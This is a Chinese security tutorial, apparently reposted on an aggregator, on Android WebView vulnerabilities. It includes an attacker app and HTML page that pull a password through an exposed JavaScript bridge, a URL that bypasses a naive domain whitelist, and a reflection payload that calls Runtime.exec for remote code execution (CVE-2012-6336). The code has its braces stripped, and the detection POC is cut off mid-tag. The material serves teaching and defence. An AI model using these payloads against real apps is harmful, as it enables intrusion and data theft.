Android Webview历史高危漏洞与攻击面分析
Posted Tr0e
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Android Webview历史高危漏洞与攻击面分析相关的知识,希望对你有一定的参考价值。
文章目录
前言
WebView 是 android 系统中的原生控件,它是一个基于 webkit 引擎、展现 web 页面的控件,相当于增强版的内置浏览器。现在很多 App 里都内置了 Web 网页(Hybrid App),比如说很多电商平台,淘宝、京东、聚划算等等。Webview 的广泛使用也就导致了其成为攻击者关注的对象,本文将学习、讨论下 Webview 远程代码执行漏洞、跨域访问漏洞及其它攻击面。
WebView基础
WebView 控件功能强大,除了具有一般 View 的属性和设置外,还可以对 url 请求、页面加载、渲染、页面交互进行强大的处理。
极简Demo程序
在 App 工程 com.bwshen.test 中新建 WebviewTestActivity :
public class WebviewTestActivity extends AppCompatActivity
@Override
protected void onCreate(Bundle savedInstanceState)
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_webview_test);
WebView webView = findViewById(R.id.web_view);
webView.getSettings().setjavascriptEnabled(true);
webView.loadUrl("https://www.baidu.com");
页面布局如下:
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent" >
<WebView
android:id="@+id/web_view"
android:layout_width="match_parent"
android:layout_height="match_parent" />
</LinearLayout>
注意 AndroidMainfest.xml 需要申请访问网络的权限:
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
程序运行效果:
JS调用Android
在上面 App 的工程 assets 文件夹下新建 javascript.html:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Carson</title>
<script>
function callAndroid()
//由于对象映射,所以调用test对象等于调用Android映射的对象
test.hello("Tr0e!");
</script>
</head>
<body>
<!--点击按钮则调用callAndroid函数-->
<button type="button" id="button1" onclick="callAndroid()">Click Me for fun!</button>
</body>
</html>
修改 WebviewTestActivity :
public class WebviewTestActivity extends AppCompatActivity
private static String TAG = "WebviewTestActivity";
@Override
protected void onCreate(Bundle savedInstanceState)
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_webview_test);
WebView webView = findViewById(R.id.web_view);
//设置开启JS支持
webView.getSettings().setJavaScriptEnabled(true);
//往WebView中注入了一个Java对象,而这个Java对象的方法可以被js访问
webView.addJavascriptInterface(new AndroidtoJs(), "test");
webView.loadData("", "text/html", null);
//加载asset文件夹下html
webView.loadUrl("file:///android_asset/javascript.html");
/**
* 提供接口在Webview中供JS调用
*/
public class AndroidtoJs
// 定义JS需要调用的方法,被JS调用的方法必须加入@JavascriptInterface注解
@JavascriptInterface
public void hello(String msg)
Log.e(TAG,"Hello," + msg);
来看看程序的运行效果:
加载远程HTML
以上是加载了本地的 html 页面,下面来做个有趣的测试,App 加载远程 html 页面并调用 Android App 提供的接口(即上文 AndroidtoJs 类的 hello 函数)。
首先在本地 PC 临时目录下创建 attack.html(页面内容同上文的 javascripts.html),然后本地起一个简易的 Python HttpServer:
然后简单修改 App 的 WebviewTestActivity,“远程”加载上述 attack.html 页面:
WebView webView = findViewById(R.id.web_view);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new AndroidtoJs(), "test");
webView.loadData("", "text/html", null);
// webView.loadUrl("file:///android_asset/javascript.html");
webView.loadUrl("http://192.168.0.110:8080/attack.html");
运行程序,看看效果:
远程 Web Server 也成功收到访问请求:
关于 WebView 组件与 JS 之间的其他用法,请参见 Android:你要的WebView与 JS 交互方式 都在这里了,本文不再展开。
接口攻击场景
以上 WebView 组件的使用看着一切正常,接下来来看下 WebView 对外暴露的接口可能存在的风险,以及攻击者可能的攻击手段。
漏洞示例程序
修改下 com.bwshen.test 应用的 WebviewTestActivity:
public class WebviewTestActivity extends AppCompatActivity
private static String TAG = "WebviewTestActivity";
@Override
protected void onCreate(Bundle savedInstanceState)
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_webview_test);
WebView webView = findViewById(R.id.web_view);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new AndroidtoJs(), "test");
webView.loadData("", "text/html", null);
Uri getUri = getIntent().getData();
webView.loadUrl(String.valueOf(getUri));
/**
* 提供接口在Webview中供JS调用
*/
public class AndroidtoJs
// 定义JS需要调用的方法,被JS调用的方法必须加入@JavascriptInterface注解
@JavascriptInterface
public String getPassword()
return "admin123";
在 AndroidMainfest.xml 中声明组件对外导出:
<activity android:name=".webview.WebviewTestActivity"
android:exported="true">
</activity>
本地攻击程序
在攻击程序 com.bwshen.attack 中编写如下攻击代码:
Button2.setOnClickListener(new View.OnClickListener()
@Override
public void onClick(View v)
Intent attackIntent = new Intent();
attackIntent.setClassName("com.bwshen.test","com.bwshen.test.webview.WebviewTestActivity");
attackIntent.setData(Uri.parse("http://192.168.0.110:8080/attack.html"));
startActivity(attackIntent);
);
同时修改 attack.html:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>WebView Atack</title>
<script>
function callAndroid()
//由于对象映射,所以调用test对象等于调用Android映射的对象
var password = test.getPassword();
document.getElementById("getdata").innerHTML= password;
</script>
</head>
<body>
<p id="getdata">攻击获得的数据将显示在此……</p>
<!--点击按钮则调用callAndroid函数-->
<button type="button" id="button1" onclick="callAndroid()">Click Me for fun!</button>
</body>
</html>
页面效果如下:
运行攻击程序,效果如下:
点击按钮,成功通过 JS 调用受害者 App 的敏感接口 getPassword 获得敏感数据:
以上是 Local 本地攻击,可以借助 Deeplink 技术完全转换成远程攻击,参见Android 应用层组件安全测试基础实战技巧。
url白名单校验
综上可以看出,对于 WebView 组件,如果无脑调用 webView.loadUrl(uri)
加载外部可控的 URI,将导致 App 遭受外部攻击的风险。所以在加载外部传入的 URI 之前,应该进行白名单校验,对恶意、非法 URI 进行拦截。
但是需要注意的是,URI 白名单校验的方式经常存在被绕过的风险,比如以下代码:
protected void onCreate(Bundle savedInstanceState)
……
Uri getUri = getIntent().getData();
String inputUrl = String.valueOf(getUri);
if (checkDomain(inputUrl))
webView.loadUrl(inputUrl);
private static boolean checkDomain(String inputUrl)
String[] whiteList=new String[]"site1.com","site2.com";
for (String whiteDomain:whiteList)
if (inputUrl.indexOf(whiteDomain)>0)
return true;
return false;
绕过方法:这个校验逻辑错误比较低级,攻击者直接输入 http://www.hacker.com/poc.html?site1.com
就可以绕过了。因为 URL 中除了代表域名的字段外,还有路径、参数等和域名无关的字段,因此直接判断整个 URL 是不安全的。虽然直接用 indexOf
来判断用户输入的 URL 是否在域名白名单内这种错误看上去比较 low,但是现实中仍然有不少缺乏安全意识的开发人员在使用。
上面介绍的是最简单的一种 URL 白名单校验及其绕过方式,更多校验方式及绕过方法请参见:一文彻底搞懂安卓WebView白名单校验,本文不再展开。
代码执行漏洞
从上面的案例可以看到,JS 调用 Android 的其中一个方式是通过 addJavascriptInterface
接口进行对象映射:
//设置开启JS支持
webView.getSettings().setJavaScriptEnabled(true);
//往WebView中注入了一个Java对象,而这个Java对象的方法可以被js访问
webView.addJavascriptInterface(new AndroidtoJs(), "test");
而在 Android API 16 以及之前的版本,Webview 组件存在远程代码执行安全漏洞,该漏洞源于程序没有正确限制使用 WebView.addJavascriptInterface
方法,远程攻击者可通过使用 Java Reflection API 利用该漏洞执行任意 Java 对象的方法,包括系统类(java.lang.Runtime
类),从而进行任意代码执行,如可以执行命令获取本地设备的 SD 卡中的文件等信息从而造成信息泄露。
【注意】WebView 任意代码执行漏洞有三种触发点
触发点 | CVE编号 | 影响范围 |
---|---|---|
WebView 中 addJavascriptInterface 接口 | CVE-2012-6336 | Android <= 4.1.2 (API level 16) |
WebView 内置导出的 searchBoxJavaBridge_对象 | CVE-2014-1939 | Android <= 4.3.1 |
WebView 内置导出的 accessibility 和 accessibilityTraversalObject 对象 | CVE-2014-7224 | Android < 4.4 |
本文只讨论第一种—— addJavascriptInterface 接口,简单的说就是通过 addJavascriptInterface 给 WebView 加入一个 JavaScript 桥接接口,JavaScript 通过调用这个接口在低版本的 Android 上可以直接无限制地随意操作本地的 JAVA 接口。
漏洞触发前提
- 使用 addJavascriptInterface 方法注册可供 JavaScript 调用的 Java 对象;
- 使用 WebView 加载外部网页或者本地网页;
- Android 系统版本低于 4.2(Android API level 小于17)。
获取系统类的大致流程:
- Android 中的对象有一公共的方法:getClass() ;
- 该方法可以获取到当前类的类型 Class;
- 该类有一关键的方法: Class.forName;
- 该方法可以加载一个类(可加载 java.lang.Runtime 类);
- 而该类是可以执行本地命令的。
JAVA反射机制
JAVA 反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为 Java 语言的反射机制。
反射,从这个“反”字可以看出与我们平时正常的使用逻辑肯定不一样,那么到底什么地方不一样了?想要了解“反”,就得先了解一下“正”的概念。在正常情况下,如果要使用一个类,必须要经过以下几个步骤:
- 使用 import 导入类所在的包(类:java.lang.Class);
- 通过关键字 new 进行类对象实例化(构造方法:java.lang.reflect.Constructor);
- 产生对象可以使用“对象.属性”进行类中属性的调用(属性:java.lang.reflect.Field);
- 通过“对象.方法()”调用类中的方法(方法:java.lang.reflect.Method)。
括号中的补充字体对应的是每个步骤对应反射中使用到的类,在反射中使用一个类并不需要导入类的所在包,只要知道类的完整路径就可以知道该类中的所有信息。关于 Java 反射机制的理解,请参见 Java-反射机制,本文也不展开。
直接来看一个简单的 Java 反射 Demo:
package com.Tr0e.test;
import java.lang.reflect.Method;
class Student
private String name;
public String getName()
return name;
private void setName(String name)
this.name = name;
public class ReflectInvokeDemo
public static void main(String[] args) throws Exception
//获取Student类的Class对象
Class<?> cls = Class.forName("com.Tr0e.test.Student");
System.out.println("Class = " + cls.getName());
//反射获取Student类的函数数组
Method[] methods = cls.getDeclaredMethods();
for (Method method:methods)
System.out.println("method = " + method.getName());
// 实例化对象
Object obj = cls.newInstance();
//调用Student类的私有函数setName()方法,相当于Student对象.setName("Tr0e");
methods[1].setAccessible(true);
methods[1].invoke(obj, "Tr0e");
//调用getName()方法并输出
System.out.println("Hello," + methods[0].invoke(obj));
程序运行结果如下所示:
Next,来看看如何借助上面的 Java 反射实现命令执行:
public class ReflectInvokeDemo
public static void main(String[] args) throws Exception
//获取Student类的Class对象
Class<?> cls = Class.forName("com.Tr0e.test.Student");
System.out.println("Class = " + cls.getName());
//反射获取Student类的函数数组
Method[] methods = cls.getDeclaredMethods();
for (Method method:methods)
System.out.println("method = " + method.getName());
try
Class c = cls.forName("java.lang.Runtime");
Method m = c.getMethod("getRuntime", null);
m.setAccessible(true);
//第一个参数为类的实例,第二个参数为相应函数中的参数
Object obj = m.invoke(null,null);
Class c2 = obj.getClass();
String array = "cmd.exe /k start calc";
//获得该类中名称为exec,参数类型为String的方法
Method n = c2.getMethod("exec", array.getClass());
//调用方法n
n.invoke(obj, new Object[]array);
catch (Throwable e)
System.out.println(e.toString());
程序运行结果,可以看到成功借助反射机制执行命令运行了本地计算器:
有了以上的基础,我们知道,拿到 JAVA 对象之后,可以获取类对象,然后通过反射调用任意对象的任意方法。而在我们前面的 WebView 漏洞代码中,由于访问的页面是不可控的,所以在访问危险页面时,如果页面中的 js包含危险调用,如:
function execute(cmd)
//jsObject是导出的Object
return window.jsObject.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmd);
在 JS 中获得了 Webview 中导出的 Object,只要通过上述代码就可以进行反射并 RCE。早期的 Android 版本没有对可以访问的方法作限制,这就是该漏洞的根本成因。
历史漏洞POC
在检测某个 apk 是否包含此漏洞时,我们只需要让它访问一个页面,该页面中的 js 遍历其 windows 对象然后判定 getClass 函数是否存在即可。
POC 示例代码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8"/>
<title>WebView漏洞检测--捉虫猎手</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0以上是关于Android Webview历史高危漏洞与攻击面分析的主要内容,如果未能解决你的问题,请参考以下文章